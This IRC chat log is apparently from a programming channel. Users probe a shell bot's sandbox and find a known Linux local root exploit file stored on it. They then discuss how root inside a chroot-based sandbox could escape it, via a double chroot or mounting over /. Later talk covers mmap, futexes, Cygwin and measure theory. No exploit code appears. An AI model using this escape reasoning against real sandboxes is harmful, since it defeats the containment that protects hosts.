19:36:46 <Gregor> Built in to HackEgo.
19:36:49 <AnMaster> -_-
19:44:03 <Gregor> I suppose, in retrospect, that there is no reason for run to be built in.
19:44:23 <AnMaster> Gregor, except that it would be a pain of someone overwrote that file
19:44:31 <Gregor> True
19:44:47 <Gregor> Anywho, it's in the HackBot hg repo
19:45:04 <AnMaster> Gregor, that is a different repo than in `help?
19:45:11 <Gregor> Presumably not
19:45:38 <AnMaster> Gregor, http://codu.org/projects/hackbot/fshg/ ?
19:45:45 * AnMaster can't find it run there
19:45:51 <Gregor> No, that's the filesystem in HackBot, not HackBot itself.
19:45:53 <Gregor> Remove "fs"
19:45:57 <AnMaster> ah
19:46:00 <AnMaster> well I didn't know
19:46:08 <AnMaster> and the fs one is the one in `help
19:47:01 <AnMaster> `ls .hg
19:47:02 <HackEgo> No output.
19:47:08 <AnMaster> `mkdir .hg
19:47:10 <HackEgo> No output.
19:47:10 <HackEgo> Invalid .hg directory found.
19:47:13 <AnMaster> heh
19:47:18 <AnMaster> Gregor, damn you ;P
19:47:25 <AnMaster> `ls .hg
19:47:27 <HackEgo> No output.
19:47:44 <Gregor> .hg is moved elsewhere to prevent tampering.
19:47:55 <AnMaster> `ls
19:47:56 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.18069 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
19:47:58 <AnMaster> `ls -a
19:47:59 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.18110 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
19:48:08 <AnMaster> Gregor, where is elsewhere?
19:48:31 <Gregor> Why would I make it accessible if it was moved to PREVENT TAMPERING >_<
19:48:41 <AnMaster> Gregor, oh btw googling suggests "wunderbar_emporium" is some old exploit for pre-2.6.29 kernels or such
19:48:49 <Gregor> Uhhh, OK?
19:49:03 <AnMaster> I was just confused by the name of it before
19:49:12 <Gregor> Why do I care?
19:49:34 <AnMaster> seems asi<whatever his name is, caused that dobela language>
19:49:50 <Deewiant> asiekierka
19:49:51 <AnMaster> s/$/ is behind it/
19:49:57 <Gregor> Why do I care?
19:49:57 <AnMaster> as in
19:50:06 <AnMaster> behind it being in egobot
19:50:13 <oklokok> i prefer caused
19:50:14 <Gregor> So?
19:50:25 <Gregor> AFAIK it hasn't worked, so why do I care?
19:50:27 <AnMaster> Gregor, I presume you have a new enough kernel?
19:50:31 <AnMaster> `uname -a
19:50:32 <HackEgo> Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux
19:50:40 <AnMaster> hrrm
19:51:04 <Gregor> Don't you think Codu would have been a little bit more ... pwned if it worked inside of plash? :P
19:51:20 <AnMaster> Gregor, I have no idea if it worked, but considering it uses a bug in a system call..
19:51:28 <AnMaster> I don't think plash helps against that
19:51:40 <AnMaster> of course, one can hope the kernel is patched
19:51:57 <AnMaster> looks like the sock_sendpage root exploit
19:52:38 <AnMaster> hm... "Versions prior to the Linux kernel 2.4.37.5 and 2.6.31-rc6 are vulnerable."
19:52:49 <AnMaster> Gregor, I suggests you investigate this, just in case
19:53:36 <pikhq> It hands you root.
19:53:52 <pikhq> Which in Plash gets you nowhere.
19:54:06 <AnMaster> pikhq, afaik if you have root you can break out of chroot still
19:54:19 <AnMaster> pikhq, you are aware of the double chroot I assume?
19:54:42 <pikhq> AnMaster: ... *If you have commands*.
19:54:52 <AnMaster> pikhq, it is enough to have syscalls
19:54:57 <pikhq> Plash runs in an empty chroot.
19:55:01 <AnMaster> pikhq, since that is all those commands use
19:55:03 <pikhq> Completely. And utterly. Empty.
19:55:05 <AnMaster> pikhq, sure, so mkdir as root
19:55:09 <AnMaster> pikhq, using syscalls
19:55:12 <AnMaster> perfectly possible
19:55:16 <AnMaster> then double chroot using that
19:55:16 <pikhq> Mmm.
19:55:42 <Gregor> It is sufficient to have syscalls, as root.
19:55:45 <AnMaster> pikhq, my point is that if you have root inside a chroot on linux you can always break out
19:55:48 <Gregor> I still doubt highly that this worked.
19:55:58 <AnMaster> Gregor, I hope that is the case
19:56:45 <Gregor> Of course, I don't know what the result was supposed to be :P
19:57:08 <pikhq> Clearly the Plash chroot should be on a read-only filesystem.
19:57:38 <AnMaster> pikhq, even so you can circumvent that as root
19:58:02 <AnMaster> pikhq, I'm pretty sure remounting would be possible as root even with no access to any sort of /dev
19:58:15 <Gregor> Don't even need to, just mount a tmpfs somewhere.
19:58:29 <pikhq> Gregor: Requires a mountpoint.
19:58:44 <pikhq> AnMaster: Requires a filesystem that is capable of being mounted r/w.
19:58:47 <AnMaster> pikhq, like /?
19:58:50 <AnMaster> inside the chroot
19:58:57 <pikhq> is already mounted.
19:58:59 <AnMaster> that is a valid mount point afaik
19:59:00 <pikhq> Erm.
19:59:06 <AnMaster> pikhq, you can mount something on top can't you?
19:59:11 <pikhq> / is already mounted.
19:59:19 <AnMaster> pikhq, I once managed to mount /dev on / on a freebsd system
19:59:22 <AnMaster> had to reboot it
19:59:56 <uorygl> I just got a spiffy idea.
20:00:01 <pikhq> Hrm. You can in fact mount on top of a mount.
20:00:05 <AnMaster> pikhq, yep
20:00:24 <AnMaster> pikhq, you need kernel patches to prevent this if you want to do that
20:00:29 <uorygl> RawLinux: a program where you simply type system calls in base64, and it tells you the results in base64.
20:02:22 <AnMaster> uorygl, hm?
20:03:03 <uorygl> That's my spiffy idea.
20:03:26 <AnMaster> pikhq, just accept that plash depend on there being no local root exploits
20:03:54 <AnMaster> uorygl, that would be somewhat messy due to system calls that take pointers and so on
20:04:02 <Gregor> Yes, plash does of course depend on that, it would be silly to think you could work around the possibility of root exploits :P
20:04:09 <pikhq> AnMaster: What about the PtraceJail?
20:04:23 <uorygl> So, Plash works by putting something in an empty chroot, and giving it alternative file system accessors?
20:04:28 <AnMaster> uorygl, you would need a way to pointers to structs and so on
20:04:31 <pikhq> uorygl: Yeah.
20:04:32 <Gregor> uorygl: Basically.
20:04:35 <pikhq> It replaces libc.
20:04:55 <uorygl> AnMaster: are there any system calls that use pointers for anything other than taking variable-size input and providing variable-size output?
20:04:58 <AnMaster> uorygl, it uses IPC to talk through the chroot with a process that handles file system for it and so on
20:05:01 <AnMaster> iirc
20:05:07 <AnMaster> <pikhq> AnMaster: What about the PtraceJail? <-- I don't know
20:05:16 <AnMaster> but I guess there could be exploits for that as well
20:05:34 <Gregor> There could always be exploits.
20:05:41 <Gregor> No matter how many layers you put between.
20:05:42 <pikhq> Plash could hypothetically monitor *all* the system calls.
20:05:56 <pikhq> Which would leave the exploits being issues in Ptrace.
20:05:58 <Gregor> pikhq: Then it would just take a bug in plash *shrugs*
20:06:03 <Gregor> Or ptrace
20:06:11 <pikhq> Yeah.
20:06:58 <AnMaster> or in a system call allowed by plash
20:07:47 <AnMaster> (it need to allow some, like those for growing the stack or heap)
20:08:03 <AnMaster> (or mmaping anonymous memory or whatever)
20:08:25 <AnMaster> Gregor, I wonder how plash emulates mmap()ing of files
20:08:37 <Gregor> Donno
20:08:45 <AnMaster> I mean, it needs to actually be mapped into the process for it to have the correct semantics
20:08:59 <uorygl> How does memory mapping files work at all?
20:09:06 <Gregor> uorygl: Satan's magic.
20:09:09 <AnMaster> uorygl, using mmap()?
20:09:35 <oklokok> so spider solitaire, can you get good in it? looks pretty luck-based to me
20:09:37 <uorygl> How does mmap() work?
20:09:39 <AnMaster> uorygl, but point is, if two processes mmap() the same file, they should see updates
20:09:54 <AnMaster> uorygl, black magic
20:09:59 <oklokok> i used to play freecell but after 300 games it's sort of hard to find challenge in it
20:10:06 <AnMaster> uorygl, or rather, go read glibc and kernel sources
20:10:14 <AnMaster> mostly kernel sources
20:11:00 <Gregor> oklocock: You should get some friends and play Hydra!
20:11:20 <uorygl> Does it copy the file into memory and then copy it back when it's done? Does it trap memory access and replace it with filesystem access?
20:11:44 <uorygl> What's Hydra? Is it that game where you try to grow as many heads as possible before time's up?
20:12:01 <Gregor> uorygl: Well, sort of :P
20:12:10 <Gregor> http://codu.org/wiki/Hydra
20:14:02 <AnMaster> uorygl, it reads file in during page faults
20:14:12 <AnMaster> uorygl, meaning, it won't actually read the data in until you try to read it
20:14:47 <lament> play poker instead
20:14:51 <lament> you'll go broke, it's fun
20:14:52 <AnMaster> uorygl, if you changed the file, it is written back when the file is either unmapped or when the (underlying physical) page is unmapped by the vm
20:14:56 <Gregor> Strip poker!
20:14:58 <AnMaster> iirc
20:15:01 <Gregor> That way, you'll just go naked.
20:15:04 -!- oklokok has quit (Read error: Operation timed out).
20:15:43 -!- Azstal has joined.
20:15:52 <lament> strip poker is a very asymmetric game for the men and women involved
20:16:00 <AnMaster> uorygl, oh and if several processes mapped the same file, the same page is mapped into both processes
20:16:09 <AnMaster> uorygl, so it can be used for IPC
20:16:16 * uorygl nods.
20:16:40 <AnMaster> uorygl, I won't promise it works for futexes or such because that is even more black magic than mmaping
20:17:00 <AnMaster> it might need something else
20:17:16 <AnMaster> (and no that wasn't a typo for mutexes)
20:17:33 -!- Asztal has quit (Ping timeout: 245 seconds).
20:18:11 <AnMaster> uorygl, oh and I think there is some call similar to fflush() for mmaped pages too
20:18:16 <AnMaster> to force writing any changes
20:18:24 <AnMaster> I don't remember how you did that though
20:18:26 <uorygl> What's a futex?
20:18:37 <uorygl> Can you do mutexes with mmaping?
20:19:26 <AnMaster> uorygl, something the linux kernel provides and that glibc pthreads and such then uses to implement mutexes, semaphores and most (all?) of the other pthreads sync thingies
20:19:34 <AnMaster> that is what a futex is
20:19:43 <AnMaster> uorygl, see man 2 futex
20:19:57 <AnMaster> uorygl, oh and man 7 futex too
20:20:08 <AnMaster> the latter seems more like an introduction to the concept
20:20:35 <AnMaster> uorygl, of course now we are linux specific. These details can and does vary widely between different OSes
20:20:57 <AnMaster> though the mmap is probably implemented in a similar manner on most *nix
20:21:04 <AnMaster> s/the //
20:21:43 -!- cal153 has quit (Ping timeout: 256 seconds).
20:22:04 * uorygl ponders running Cygwin under Wine under Cygwin under Wine.
20:22:13 <AnMaster> why on earth
20:22:27 <AnMaster> uorygl, also these mmap semantics are probably *not* valid for cygwin
20:22:29 <uorygl> The same reason we create esoteric programming languages.
20:22:45 <AnMaster> uorygl, also iirc it doesn't work
20:22:47 <AnMaster> as in
20:22:54 <AnMaster> cygwin doesn't run properly under wine
20:23:07 <uorygl> I would expect running Cygwin under Wine to be the easy part.
20:23:21 <AnMaster> uorygl, well it might have changed since last time I heard someone try it
20:23:24 <AnMaster> (in here too iirc)
20:23:29 <AnMaster> maybe was a year or so ago?
20:23:46 <uorygl> Wouldn't it just be a bunch of executables and libraries?
20:23:47 -!- FireFly[DS] has joined.
20:23:52 <AnMaster> (that's a guesstimate)
20:24:00 <AnMaster> uorygl, ?
20:24:14 <AnMaster> FireFly[DS], hi there, long time no c?
20:24:28 <uorygl> Isn't that pretty much what Cygwin is?
20:24:40 <AnMaster> uorygl, except it does some weird stuff
20:24:45 <AnMaster> uorygl, like it's fork() semantics
20:24:49 <AnMaster> I assume you read about them
20:25:33 <uorygl> I know very little about Cygwin.
20:25:43 -!- cal153 has joined.
20:26:40 <pikhq> Cygwin implements UNIX semantics on Windows.
20:26:47 <AnMaster> uorygl, to emulate fork it does something like: "start new process, make parent wait on mutex, child wakes up parent and waits on mutex, most of the address space (except read only stuff from the binary) is copied to the child, both processes are resumed"
20:26:49 <pikhq> To do this, it has to do some *very* weird stuff.
20:26:59 -!- FireFly[DS] has quit (Read error: Connection reset by peer).
20:27:00 <AnMaster> iirc it was slightly more complex than that
20:27:03 <AnMaster> but you get the idea
20:27:06 <pikhq> Fork is probably the weirdest.
20:27:18 <AnMaster> pikhq, I suspect mmap would also be very weird
20:27:27 <AnMaster> unless it can map it fairly straight to some windows system call
20:27:49 -!- FireFly[DS] has joined.
20:27:55 <AnMaster> FireFly[DS], wb!
20:28:07 <AnMaster> FireFly[DS], haven't seen you for ages
20:28:25 <FireFly[DS]> Hello
20:28:32 <pikhq> AnMaster: Windows has the ability to map files into memory.
20:28:41 <FireFly[DS]> Ages, as in what, three days?
20:28:43 <AnMaster> pikhq, sure, but what are the semantics for that?
20:28:50 <AnMaster> FireFly[DS], hm? maybe I misremember then
20:28:58 <pikhq> Complex, but possible to wrap sanely.
20:29:01 <FireFly[DS]> I think so :P
20:29:13 <AnMaster> FireFly[DS], why on DS?
20:29:35 <FireFly[DS]> Because I'm on a DS, not at home
20:29:44 <FireFly[DS]> holiday stuff, skiing
20:29:55 <uorygl> What sort of DS is this?
20:30:09 <FireFly[DS]> the Nintendo sort
20:30:14 * uorygl nods.
20:30:20 <pikhq> You "create a file mapping object", which is kinda like fopen, and you then "create a file view", which actually sticks the section of the file you want into virtual memory.
20:30:36 <AnMaster> wow, man 7 futex is interesting
20:30:43 <FireFly[DS]> The phat nintendo sort, even
20:30:47 <AnMaster> it is brilliant and clever
20:30:53 <AnMaster> (how it works)
20:31:21 <AnMaster> uorygl, is there any DS except Nintendo?
20:31:24 <AnMaster> well
20:31:29 <AnMaster> that one could possibly IRC from I mean
20:31:39 <pikhq> Doesn't give you odder things like anonymous mappings, but that's not needed for straight POSIX semantics.
20:32:08 <uorygl> I think I've heard of other DSs in the past.
20:32:10 <AnMaster> pikhq, are changes reflected in other processes that mapped the same file?
20:32:28 -!- oklokok has joined.
20:32:44 <pikhq> AnMaster: Yes.
20:32:58 <AnMaster> pikhq, well it seems okay I guess
20:33:02 <AnMaster> then*
20:33:16 <AnMaster> pikhq, but aren't anon mappings POSIX?
20:33:24 <pikhq> No.
20:33:40 <pikhq> Anonymous mappings are a common extension.
20:34:44 <pikhq> Oh, whaddya know. There's a way to get anonymous mappings in Win32, too.
20:35:11 <pikhq> You attempt to map an INVALID_HANDLE_VALUE, and voila.
20:35:23 <AnMaster> indeed, can't find it in POSIX.1-2008 even
20:35:44 <AnMaster> pikhq, that seems like a messy way to do it
20:36:13 <pikhq> It's Win32.
20:37:54 <AnMaster> true
20:37:55 <AnMaster> but still
20:42:57 * AnMaster wonders if it is possible to make a balanced tree that can be updated concurrently without locking things
20:43:07 <AnMaster> and, without causing a huge overhead
20:44:00 <AnMaster> read and update should be lockless, and it should be fast in case of no collision between multiple threads
20:44:37 <AnMaster> balacing I guess might pose some problems... But preferably not
20:45:07 <pikhq> Make it immutable and all your problems go away.
20:48:43 <AnMaster> pikhq, well that would be annoying since the use case would be ATHR when porting to a non-erlang befunge implementation
20:48:55 <AnMaster> pikhq, such as might happen at some point in the future
20:49:07 <AnMaster> pikhq, the tree needs to be modified a lot if it represents funge space
20:49:24 <AnMaster> alternative is a hash table, but that sounds even worse to update without locks
20:49:45 <AnMaster> plus hash tables has a worse worst-case
20:50:07 -!- Oranjer has joined.
20:50:58 <AnMaster> pikhq, perhaps a RCU implementation?
20:51:18 <AnMaster> hm not a good idea
20:51:27 <AnMaster> read is cheap, write is not
20:56:21 -!- kar8nga has quit (Remote host closed the connection).
21:06:08 -!- dougx has joined.
21:13:02 -!- dougx has left (?).
21:13:21 -!- coppro has quit (Ping timeout: 260 seconds).
21:20:09 <oklokok> now the question is, are all prime numbers balloon?
21:20:13 <oklokok> *balloons
21:20:22 <AnMaster> oklokok, define balloon
21:20:48 <oklokok> a number n is a balloon iff in every set of 2n-1 numbers there are n that sum to 0 (mod n)
21:21:08 <oklokok> it's simple to show balloons are closed under multiplication, but what's less simple is to show primes are
21:21:19 <AnMaster> hm interesting
21:21:43 <AnMaster> oklokok, and this has not yet been solved?
21:21:45 <oklokok> 1, 2, 3 and 5 are easily shown to be balloons
21:21:51 <oklokok> no, not by me
21:21:55 <Oranjer> by anyone?
21:21:59 <oklokok> in fact i didn't even show they are closed under multiplication
21:22:08 -!- Oranjer has left (?).
21:22:15 <oklokok> that was MissPiggy's work, or at least she used that idea in her proof of a special case
21:22:43 <AnMaster> oklokok, is there any prize attached to this question?
21:22:45 <oklokok> she asked me whether 100 is a balloon, i couldn't solve it (should've)
21:22:50 <AnMaster> and did anyone else solve it?
21:23:04 <oklokok> i wonder where you got the impression this is even a hard problem
21:23:26 <AnMaster> oklokok, well, otherwise you would just have consulted a text book to figure out how to prove it
21:23:29 <AnMaster> rather than asking us
21:23:48 <oklokok> i just wanted to ask that out loud because it sounded crazy.
21:24:37 <AnMaster> oklokok, oh?
21:24:38 <oklokok> easy enough to show they're closed under multiplication, but i wonder if it's possible to show they are closed under addition (that is, "can we prove all n are balloons by induction")
21:24:51 <AnMaster> oklokok, why are they called balloons btw?
21:25:49 <oklokok> usually when you say you're proving a property of naturals by induction, you mean P(n) => P(s(n)), but you can also do induction on multiplication, the problem is you have an infinite number of base cases....
21:26:13 <oklokok> AnMaster: i asked mp what the problem was about, and she said "it has applications in hot air ballooning"
21:26:14 <oklokok> :P
21:26:20 <oklokok> i have no idea what that meant
21:26:24 <AnMaster> oklokok, it does?
21:26:27 <oklokok> so i named them balloons.
21:26:43 <oklokok> it would've been an in-joke for her, i wasn't actually going to start talking about this here.
21:26:59 <oklokok> "it does?"=
21:27:01 <oklokok> *?
21:27:09 <oklokok> oh err
21:27:11 <oklokok> right the problem
21:27:16 <oklokok> sorry about being slow
21:27:17 <AnMaster> oklokok, I fail to see how it is useful for building or flying heated air balloons
21:27:17 <AnMaster> ...
21:27:45 <oklokok> i have no idea what applications it has, if it has applications there, i just quoted, and followed with "i have no idea what that meant".
21:28:01 <oklokok> who cares what it's used for
21:28:02 <AnMaster> oklokok, and I'm somewhat of an aerodynamics geek. Though admittedly I'm more interested in non-LTA aircrafts
21:28:08 <oklokok> oh
21:28:08 <oklokok> cool
21:28:13 <oklokok> do you fly planes?
21:28:16 <AnMaster> (LTA = lighter than air)
21:28:22 <AnMaster> oklokok, only in simulator alas
21:28:34 <oklokok> flying a plane would be awesome
21:28:35 <AnMaster> oklokok, a flight certificate is frigging expensive
21:28:41 <oklokok> yeah prolly
21:28:45 <oklokok> how expensive?
21:28:46 <AnMaster> much more than a driving license
21:29:01 <AnMaster> oklokok, well, depends on what type of aircraft
21:29:19 <AnMaster> oklokok, for a small sports plane, 90 000 SEK or so a year ago when I checked
21:29:54 <oklokok> oh well i wouldn't call that "frigging" expensive if you have a job
21:29:59 <AnMaster> oklokok, excluding fuel cost and so on
21:30:19 <AnMaster> 90 000 Swedish kronor = 9 293.20938 Euros
21:30:24 <AnMaster> says google
21:30:26 <oklokok> oh well if you wanna fly a plane multiple times
21:30:32 <AnMaster> oklokok, hm?
21:30:34 <oklokok> ;)
21:30:38 <oklokok> yeah i know how much a sek is
21:31:00 <AnMaster> oklokok, oh you need to fly a minimum distance every year to not loose your certificate after you finally have it
21:31:11 <AnMaster> forgot what said distance was
21:31:18 <oklokok> makes sense
21:31:39 <AnMaster> oklokok, they should do the same for driving licences
21:32:17 <oklokok> oh btw 2n-1 isn't just a random number, in fact all numbers have the property that there are 2n-2 numbers that don't have a subset summing to 0 mod n
21:32:25 <oklokok> which makes it sort of fascinating
21:33:08 <AnMaster> oklokok, thank you for reminding me why I took CS instead of math ;)
21:33:14 -!- Oranjer has joined.
21:33:26 <oklokok> yeah, my friend has lost most of his sight after getting a driver's licence, and doesn't use glasses
21:33:41 <AnMaster> oklokok, "oops"
21:33:47 <oklokok> but is still allowed to drive
21:34:11 <AnMaster> oklokok, also bi-yearly eye check or such for driving licenses would be a good idea
21:34:16 <AnMaster> or maybe every 5 years or such
21:34:39 <AnMaster> would have to find a reasonable interval to make it feasible yet actually be useful
21:36:08 -!- coppro has joined.
21:37:06 <fizzie> They have this student-association-thing for people interested in flying planes here; I think they have some sort of special dealie so that you can get the certification a bit cheaper, though not by much.
21:37:31 <oklokok> so... why did you take cs instead of math?
21:38:43 <oklokok> i mean math is prettier
21:38:45 <fizzie> Apparently "4700 - 6600 €" for the thing with a motor on it; and I think that includes fuel costs. (At least it says that fluctuation in fuel prices will affect that price.)
21:39:30 * FireFly[DS] wants unicode support in his client
21:39:47 <FireFly[DS]> fizzie, what was that after "6600"?
21:40:03 <fizzie> FireFly[DS]: Probably the euro sign.
21:40:07 <FireFly[DS]> Ah
21:40:25 <FireFly[DS]> Showed up as å comma not-sign her..
21:40:33 <FireFly[DS]> here*
21:40:37 <fizzie> There's also a glider aircraft course for "1500 - 2200" eur, plus "miscellaneous costs (beer, sausages etc.)".
21:41:08 <fizzie> Too bad the joke in the description doesn't really translate.
21:41:39 <oklokok> why can't the university of turku be in helsinki :<
21:41:56 <oklokok> you have such a cool university there
21:41:56 <AnMaster> <oklokok> so... why did you take cs instead of math? <-- math people say thing like "<oklokok> oh btw 2n-1 isn't just a random number, in fact all numbers have the property that there are 2n-2 numbers that don't have a subset summing to 0 mod n <oklokok> which makes it sort of fascinating"
21:42:06 <AnMaster> an interest which I don't share
21:42:21 <oklokok> i would be near it
21:42:51 <AnMaster> <fizzie> Too bad the joke in the description doesn't really translate. <-- what is that joke?
21:43:00 <fizzie> Well, it doesn't translate. :p
21:43:08 <fizzie> I can try, of course.
21:43:13 <AnMaster> fizzie, you could explain it
21:43:48 <fizzie> It's not much of a joke, really. But, here goes.
21:43:55 <fizzie> "Opintojakson tavoitteena on oppia lentämään laitteella, jossa ei ole purjetta, eikä myöskään konetta. Laitetta kutsutaan siitä huolimatta purjelentokoneeksi, sillä sen siipi toimii kuin purje."
21:43:57 <fizzie> Translated, that says: "The goal of the course is to learn fly a device, that does not have a sail, and neither does it have an engine. The device is still called sail-air-engine [literal translation of the components of the Finnish word for sailplane/glider aircraft], as its wing works like a sail."
21:44:24 <AnMaster> heh
21:44:56 <AnMaster> fizzie, combining sail and engine in one word is quite weird :)
21:45:23 <fizzie> I guess sail-flight-engine would've been more literal.
21:45:41 -!- FireFly[DS] has quit (Read error: Connection reset by peer).
21:46:01 <fizzie> The fi:lentokone (literally "flight-engine" or "flight-machine", but the joke works better with "-engine") is the general term for aircraft, they've just added fi:purje ("sail") in front.
21:46:43 <fizzie> fi:kone is quite a generic word; it can be en:engine, or en:machine, or en:device, or whatever.
21:47:14 <fizzie> "kone s 1 engine, apparatus, appliance 2 contrivance 3 machine" says the dictionary.
21:47:26 <lament> finnish is so weird
21:47:33 -!- cal153 has quit (Ping timeout: 240 seconds).
21:47:42 -!- cal153 has joined.
21:47:50 <AnMaster> lament, indeed
21:48:00 <oklokok> AnMaster: well interesting is a bit of a technical term :P i say 2n-1 is interesting because 2n-2 isn't, there's a reason to choose just that particular number
21:48:10 <oklokok> it doesn't actually mean this is interesting mathematics
21:48:27 <AnMaster> uhu
21:48:34 <AnMaster> oklokok, you said it was fascinating even
21:50:17 <oklokok> oh right. true, that's not a technical term, that just means i really think the problem is interesting
21:50:22 <oklokok> most because i've been working on it
21:50:25 <oklokok> *mostly
21:50:58 <AnMaster> oklokok, wait, is "interesting" actually a well defined rigorous mathematical term?
21:51:05 <oklokok> :P
21:51:14 <oklokok> no.
21:51:19 <AnMaster> oh
21:51:44 <AnMaster> oklokok, I always found it funny that "almost all" is actually rigorously defined
21:52:11 <oklokok> ah yeah kinda like "group" is rigorously defined
21:52:21 <AnMaster> oklokok, oh?
21:52:31 <oklokok> oh you don't know what a group is
21:52:31 <AnMaster> oklokok, I can't see why "group" is funny
21:52:39 <uorygl> Almost all integers between 1 and 1,000,000,000 are prime.
21:52:57 <AnMaster> uorygl, I have no idea if that is true or not
21:53:11 <oklokok> uorygl: why would you use the lebesque measure on integers?
21:53:18 <uorygl> Well, "almost all", applied to discrete things, means "all but finitely many", aye?
21:53:21 <oklokok> you wouldn't
21:53:53 <AnMaster> uorygl, that is true for composites too!
21:53:58 <oklokok> you would use cardinality as the measure, and it would not be true that almost all elements in that set are prime.
21:54:11 <uorygl> What would you say "almost all" means in that context?
21:55:16 <oklokok> almost all x \in S have property P w.r.t. measure m always means m({x \in S | P(x)}) = 0
21:55:19 <oklokok> eh
21:55:33 <oklokok> *almost all x \in S have property P w.r.t. measure m always means m({x \in S | not P(x)}) = 0
21:56:07 <uorygl> Wikipedia says that "almost all" sometimes means "all but finitely many".
21:56:10 <oklokok> if you leave the measure implicit with integers, it's cardinality, because the restriction of the lebesque measure is identically zero
21:57:13 <oklokok> okay so we'd be using a metric m s.t. m(S) = 0 iff S is finite
21:57:24 <oklokok> *measure
21:57:25 <oklokok> sorry
21:58:08 <oklokok> i don't know such measures
21:58:20 <oklokok> (this is not exactly area)
21:58:32 <uorygl> Are there any restrictions on what's a measure?
21:58:58 <uorygl> If not, m(S) = 0 when S is finite, m(S) = 1 when S is infinite
21:59:09 <uorygl> Maybe the disjoint union of finitely many sets must be the sum.
21:59:17 <oklokok> it has to be additive, if you have two sets with empty intersection, then their union's measure is the sum of their measures
21:59:17 <uorygl> Modulo saying that right.
21:59:32 <uorygl> But it doesn't have to give a measure to every set, right?
21:59:46 <uorygl> m(S) = 0 when S is finite, m(S) is undefined otherwise. :P
21:59:53 <oklokok> no, in a measure space we have a subset of measurable sets, usually
22:00:27 <oklokok> yeah that works, that's probably called the trivial measure
22:00:27 <uorygl> Better: m(S) is the limit as n approaches infinity of (the cardinality of the intersection of S with [-n..n])/(2n)
22:00:39 <oklokok> yeah i actually thought that might be a nice definition
22:00:42 <oklokok> make that lim sup
22:00:52 <oklokok> i think that's additivie
22:00:55 <oklokok> *additive
22:01:05 <uorygl> Hmm, I'm sure I could make it non-additive.
22:01:09 <oklokok> oh well i guess you could just say sets are measurable iff the limit exists
22:01:18 <oklokok> well it has to be additive
22:01:21 <oklokok> to be a measure
22:01:30 <uorygl> I mean if it's lim sup, I'm sure I could find where it's not additive.
22:01:51 <oklokok> also the measure of the empty set needs to be 0, but that's all we require about a measure, i think
22:01:53 <oklokok> ah
22:01:56 <uorygl> Take the set S of all integers n where sin(ln n) > 0, and its complement.
22:02:28 <oklokok> err
22:02:35 <oklokok> first of all what's that set?
22:02:47 <oklokok> okay somethign random
22:02:49 <oklokok> *something
22:02:54 <uorygl> Er, make that sin(ln |n|).
22:03:03 <oklokok> yeah okay you're right
22:03:06 <oklokok> needs to be lim
22:03:23 <uorygl> You've figured out what that set is?
22:03:24 <oklokok> or wait... blergh
22:03:32 <oklokok> maybe tell me why that's a counterexample
22:03:42 <uorygl> Well, do you know what that set looks like?
22:03:49 <oklokok> no
22:03:59 <uorygl> Graph sin(ln n); it's the set of all integers that are below it.
22:04:19 <uorygl> sin(ln |n|), even.
22:05:22 <uorygl> A mental graph will probably work better than an actual one. :P
22:05:40 <uorygl> It's a set where if you zoom out, it still looks pretty much the same.
22:05:53 <AnMaster> <oklokok> i think that's additivie <-- read that as "addictive" first time XD
22:06:21 * Sgeo uses Wolfram Alpha
22:06:24 <uorygl> So the thing you're taking the limit of fluctuates between some number and some other number.
22:06:48 <Sgeo> What isi it supposed to be?
22:07:16 <oklokok> ah true
22:07:36 <uorygl> The complement of the set will likewise fluctuate, but out of phase; add the two, and you get something that is less than the sum of its parts.
22:07:42 <oklokok> yeah i realized lim sup might not work because of that, i now realize why sin ln works
22:07:50 <oklokok> yep
22:08:02 <uorygl> Sgeo: it's supposed to be what it is, and it is pretty much what it looks like.
22:08:24 <Sgeo> It looks like female..>.>
22:08:33 <uorygl> And it looks like this: http://en.wikipedia.org/wiki/File:Topologist%27s_sine_curve.svg
22:15:59 <AnMaster> <uorygl> Graph sin(ln n); <-- was that supposed to be CAS code for some CAS?
22:16:19 <uorygl> No.
22:16:23 <AnMaster> hm
22:16:34 <uorygl> Though I wouldn't be surprised if it were valid CAS code for some CAS.
22:17:06 <AnMaster> uorygl, why is sin(ln x) interesting?
22:17:11 <oklokok> it's valid wolframalpha code
22:17:23 <AnMaster> oklokok, it isn't valid mathematica code I know
22:17:38 * AnMaster plots the function on his calculator
22:17:47 <oklokok> because it's a nice way to explain why lim sup is not a good measure
22:17:55 <oklokok> *-good
22:18:03 <uorygl> AnMaster: because it's involved in a counterexample to oklokok's claim that using the limit superior in a certain place results in a measure.
22:18:06 <oklokok> who said anything about mathematica
22:18:13 <AnMaster> uorygl, oh
22:18:28 <AnMaster> uorygl, how does "limit superior" differ from "limit"?
22:18:31 <oklokok> it would make all sets measurable
22:18:38 <AnMaster> oklokok, well iirc w|a is based on that syntax?
22:18:46 <oklokok> but it clearly isn't a measure
22:19:10 <Sgeo> What's a measure?
22:19:11 <uorygl> AnMaster: the limit superior of sin(x) as x approaches infinity is 1.
22:19:36 <AnMaster> uorygl, oh.
22:19:46 <uorygl> AnMaster: essentially, it's the highest value that a function exceeds repeatedly forever.
22:19:47 <AnMaster> uorygl, how is limit superior defined then?
22:20:12 * Sgeo needs a tutorial for math :/
22:20:26 <AnMaster> uorygl, what about limsup y=x x→+inf ?
22:20:34 <oklokok> the lim sup of a sequence of numbers is the lim of sups of {xi | i = n,n+1,...} as n goes to infinity
22:20:39 <AnMaster> same as normal limit?
22:20:50 <uorygl> AnMaster: I would say that that is positive infinity.
22:21:01 <AnMaster> uorygl, same as normal limit then
22:21:06 <uorygl> Yep.
22:21:06 -!- Oranjer has left (?).
22:21:29 <oklokok> for sin you'd take the limit as x goes to infinity of the sups of the sets {sin(y) | y >= x}
22:21:30 <uorygl> This is bound to have some definitions: http://en.wikipedia.org/wiki/Limit_superior
22:22:03 <AnMaster> uorygl, and this sin log thing?
22:22:14 <AnMaster> what is it's limit superior?
22:22:27 <oklokok> it's obviously 1
22:22:34 <AnMaster> the normal limit I *suspect* would approach 0
22:22:40 <oklokok> i mean on reals
